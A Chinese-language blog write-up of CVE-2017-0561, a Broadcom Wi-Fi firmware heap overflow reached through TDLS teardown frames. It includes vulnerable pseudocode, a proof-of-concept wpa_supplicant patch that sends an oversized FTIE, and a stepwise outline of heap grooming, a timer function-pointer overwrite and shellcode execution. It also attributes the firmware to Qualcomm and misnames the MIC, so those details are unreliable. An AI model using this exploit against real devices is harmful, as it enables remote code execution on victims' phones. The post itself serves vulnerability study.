作者:FloatingGuy 转载请注明出处:https://floatingguy.github.io/


Title: CVE-2017-0561 issues

Core Skill:远程攻击 wpa_supplicant wifi 模块, 存在堆溢出漏洞,精心构造数据可以远程提权。

简介

漏洞在高通的 BCM 固件中。当网络中有设备发送 wifi TDLS teardow请求时,网络中的设备会自动接受请求包,然后校验teardown 请求包。

MIG :message integrity code 消息完整性代码
首先要建立 TDLS 连接,当其中一台设备发送 teardown 请求时,另一方会自动接收

漏洞原理

校验完成以后,在处理请求包之前会校验MIC,调用wlc_tdls_cal_teardown_mic_chk函数。
伪代码:

1
2
3
4
5
6
7
8
9
void *wlc_tdls_cal_teardown_mic_chk() {
uint8_t* buffer = malloc(256);
...
uint8_t* linkid_ie = bcm_parse_tlvs(..., 101);
memcpy(buffer, linkid_ie, 0x14);
...
uint8_t* ft_ie = bcm_parse_tlvs(..., 55); // 提取Fast Transition IE (55)信息元素
memcpy(buf + 0x18, ft_ie, ft_ie[1] + 2);
}

因为在拷贝 FTIE 之前没有校验数据报中 FTIE 的长度,所以在 memcpy 时会导致堆溢出。

POC 使用步骤:

  1. 需要下载 wpa_supplicant 2.6
  2. 安装补丁文件?》?》?
  3. 编译 wpa_supplicant (支持 TDLS)
  4. 使用 wpa_supplicant 链接到网路
  5. 链接 到 wpa_cli: 要攻击的设备??
    1. 使用 "TDLS_SETUP   <MAC_ADDRESS_OF_PEER>”设置到BCM对等体的TDLS连接
    2. 使用“TDLS_TEARDOWN <MAC_ADDRESS_OF_PEER>”拆除连接
    
    (其中MAC_ADDRESS_OF_PEER是具有与同一网络相关联的BCM SoC的对等体的MAC地址)

Patch 文件

这份 patch 文件 就是一个 poc, 通过修改 wpa_supplicant 代码,在构造 teardown 请求包时,故意让 ftie 指向的堆比接受的256 字节大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
--- wpa_supplicant-2.6/src/rsn_supp/tdls.c 2016-10-02 19:51:11.000000000 +0100
+++ TDLSTeardownModification/wpa_supplicant-2.6/src/rsn_supp/tdls.c 2016-12-19 12:15:28.000000000 +0000
@@ -765,15 +765,7 @@
wpa_printf(MSG_DEBUG, "TDLS: TDLS Teardown for " MACSTR,
MAC2STR(addr));
// 删除计算 ielen 的代码, 这里是用来计算 ftie 堆的大小
- ielen = 0;
- if (wpa_tdls_get_privacy(sm) && peer->tpk_set && peer->tpk_success) {
- /* To add FTIE for Teardown request and compute MIC */
- ielen += sizeof(*ftie);
-#ifdef CONFIG_TDLS_TESTING
- if (tdls_testing & TDLS_TESTING_LONG_FRAME)
- ielen += 170;
-#endif /* CONFIG_TDLS_TESTING */
- }
+ ielen = 257; // 溢出1个字节
rbuf = os_zalloc(ielen + 1);
if (rbuf == NULL)
@@ -785,11 +777,14 @@
ftie = (struct wpa_tdls_ftie *) pos;
ftie->ie_type = WLAN_EID_FAST_BSS_TRANSITION;
+ ftie->ie_len = 255; // 忽略了 wpa_tdls_ftie 头部2个字节。实际在计算 mic 时,读取的是 257 个字节。
+ os_memset(pos + 2, 0xFF, 255);
+
/* Using the recent nonce which should be for CONFIRM frame */
os_memcpy(ftie->Anonce, peer->rnonce, WPA_NONCE_LEN);
os_memcpy(ftie->Snonce, peer->inonce, WPA_NONCE_LEN);
- ftie->ie_len = sizeof(struct wpa_tdls_ftie) - 2;
- pos = (u8 *) (ftie + 1);
+
+ pos += 257;
#ifdef CONFIG_TDLS_TESTING
if (tdls_testing & TDLS_TESTING_LONG_FRAME) {
wpa_printf(MSG_DEBUG, "TDLS: Testing - add extra subelem to "

1
2
3
4
5
6
7
8
9
struct wpa_tdls_ftie {
u8 ie_type; /* FTIE */
u8 ie_len; // 这里会 忽略头2个字节
u8 mic_ctrl[2];
u8 mic[TDLS_MIC_LEN]; //TDLS_MIC_LEN 16
u8 Anonce[WPA_NONCE_LEN]; /* Responder Nonce in TDLS */ WPA_NONCE_LEN 32
u8 Snonce[WPA_NONCE_LEN]; /* Initiator Nonce in TDLS */
/* followed by optional elements */
} STRUCT_PACKED;

测试

我已经能够在BCM4339芯片上验证此漏洞,运行版本为6.37.34.40(如Nexus 5所示)。不过,我相信这个漏洞的范围包括更广泛的Broadcom SoC和版本。

exploit

直接 运行exploit.py 可以在 WiFi 加密狗上 任意代码执行。

配置步骤:

  1. 和目标设备创建 TDLS 链接
  2. 发送构造的 teardown 请求给目标,触发堆溢出漏洞
  3. 创建一个新的 TDLS 链接,使用精心设计的参数,导致空闲链表中的一个chunk覆盖另一个chunk ???
  4. 发送 action code == 127 的 TDLS 请求帧
    1. 精心构造 TDLS 请求帧的大小,要让其和空闲链表中另一个 chunk 发生覆盖
    2. 精心构造 请求数据,保证 free chunk 的指针指向,固件初始化时创建的定时器
  5. 发送另一个 action code == 127 的 TDLS 请求帧
    1. 精心构造 TDLS 请求帧的大小,这个帧将被放置在 定时器的头部 (因为再次 malloc 时,返回的是定时器的内存地址)
    2. 精心构造 请求数据,保证我们能覆盖定时器的函数指针,这里我们将指针指向堆结尾处。
  6. 发送一个 action code == 127 的较大 TDLS 请求帧
    1. 精心构造 请求数据,使其包含我们要执行的 shellcode
  7. 由于堆内存分配以后都会被初始化为0, 而“Thumb”中为“00 00”为NOP(MOVS R0,R0),这就是天然的滑板指令。所以我们跳到shellcode 之前的位置,不会有任何影响。
    整个攻击,会在下一次定时器到期,在固件上执行我们的 shellcode。

ChangeLog

Time Change
2017-4-21 测试 android N5
测试 ios <=10.3